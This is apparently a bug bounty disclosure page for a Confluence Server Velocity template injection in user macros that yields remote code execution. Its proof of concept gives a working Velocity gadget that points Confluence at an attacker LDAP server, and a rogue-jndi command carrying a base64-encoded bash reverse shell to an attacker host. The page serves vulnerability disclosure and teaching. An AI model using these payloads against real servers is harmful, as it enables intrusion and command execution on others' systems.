Velocity Template Injection in Custom User Macros
A user with permission to edit User macros could insert a Velocity template that calls a Confluence object to make an outbound LDAP or RMI connection, leading to remote code execution. An attacker could run arbitrary Java code or system commands with the privileges of the Confluence process.
- Accepted in 50 days
- Fixed in 8 months
- Disclosed after 2.3 years
Summary by Atlassian
Velocity Template Injection Vulnerability in Confluence Server
Summary by mal__
A user with privileges to edit User macros may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Confluence.
Report details
-
Submitted
05 Apr 2022 10:34:36 UTC
-
Target Location
Confluence Data Center -
Target category
Other
-
VRT
Server-Side Injection > Remote Code Execution (RCE)
-
Priority
P3
-
Bug URL
Empty
-
Description
Environment
- Confluence Server v7.17.0
- Docker
Summary
A user with privileges to edit User macros may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running Confluence.
Description
By inserting malicious content in a Velocity macro, an attacker may perform SSTI (Server-Side Template Injection) attacks, which can leverage Velocity exposed objects to bypass restrictions and lookup arbitrary “LDAP” and/or “RMI” resources. By leveraging this gadget to point Confluence to a malicious connection, an attacker is able to serve arbitrary Java Gadgets to the target resulting in Remote Code Execution (RCE).
Proof of Concept
By consulting the Confluence online documentation we observe that Velocity exposes several complex Java objects. By navigating through them we can observe that the “$config” object, of type BootstrapManager , exposes the function [“getTestDatasourceConnection(String datasourceName)”](https://docs.atlassian.com/atlassian-config/0.4/com/atlassian/config/bootstrap/DefaultAtlassianBootstrapManager.html#getTestDatasourceConnection(java.lang.String%29) that can be used to lookup malicious “LDAP” and/or “RMI” resources.
We can use the following SSTI gadget in order to point Confluence to a malicious LDAP server:
$config.getTestDatasourceConnection("ldap://172.17.0.1:4444/o=tomcat")In order to leverage the above Velocity payload we first require creating/editing a macro from “Admin -> User Macros”. The full Velocity template should have the following content:
## @param Name:title=Name|type=string|required=true|desc=Your name #set ($space = $spaceManager.getAllSpaces().get(0)) $config.getTestDatasourceConnection("ldap://172.17.0.1:4444/o=tomcat")Browser View:
Before triggering the JNDI lookup, we need to set up a malicious JNDI server using the “rogue-jndi” software with the following command:
java -jar target/RogueJndi-1.1.jar -l 4444 -p 5555 -c 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzY2NjYgMD4mMQo=}|{base64,-d}|bash' -n 172.17.0.1Note: In this scenario, when the JNDI gadget is successfully parsed, a reverse bash shell will be sent back to the attacker, listening on host 172.17.0.1, port 6666.
Now, in order to trigger the lookup, we will insert the above macro into a Confluence “Page” by pressing “+” and selecting our malicious macro. When the macro will be previewed, the malicious LDAP connection will be made and RCE will be achieved.
Note: Although the Velocity macro results in an error, the Java payload is successfully parsed and arbitrary system commands are executed.
Attacker View with the “rogue-jndi” server (left) and reverse shell received (right):
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the Velocity template engine exposes Java objects (such as $config) that allow making outbound JNDI connections, and user-supplied macros are rendered without sufficient sandboxing.
What the attacker needed
Privileges to edit User macros; ability to insert macro into a page; attacker-controlled LDAP/RMI server
How it was found
- Create or edit a User macro from Admin -> User Macros.
- Insert a Velocity template that calls $config.getTestDatasourceConnection with an LDAP URL pointing to a malicious server.
- Set up a malicious JNDI server (e.g., rogue-jndi) to serve a Java gadget.
- Insert the macro into a Confluence page and preview it to trigger the LDAP lookup.
- The malicious server responds with a gadget that executes a reverse shell command.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
User macros are small templates that Confluence administrators can create to reuse content. The template language, Velocity, can call internal Java objects, and one of those objects lets the server connect to an external address. By pointing that connection to a malicious server, an attacker can make the Confluence server download and run harmful code.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.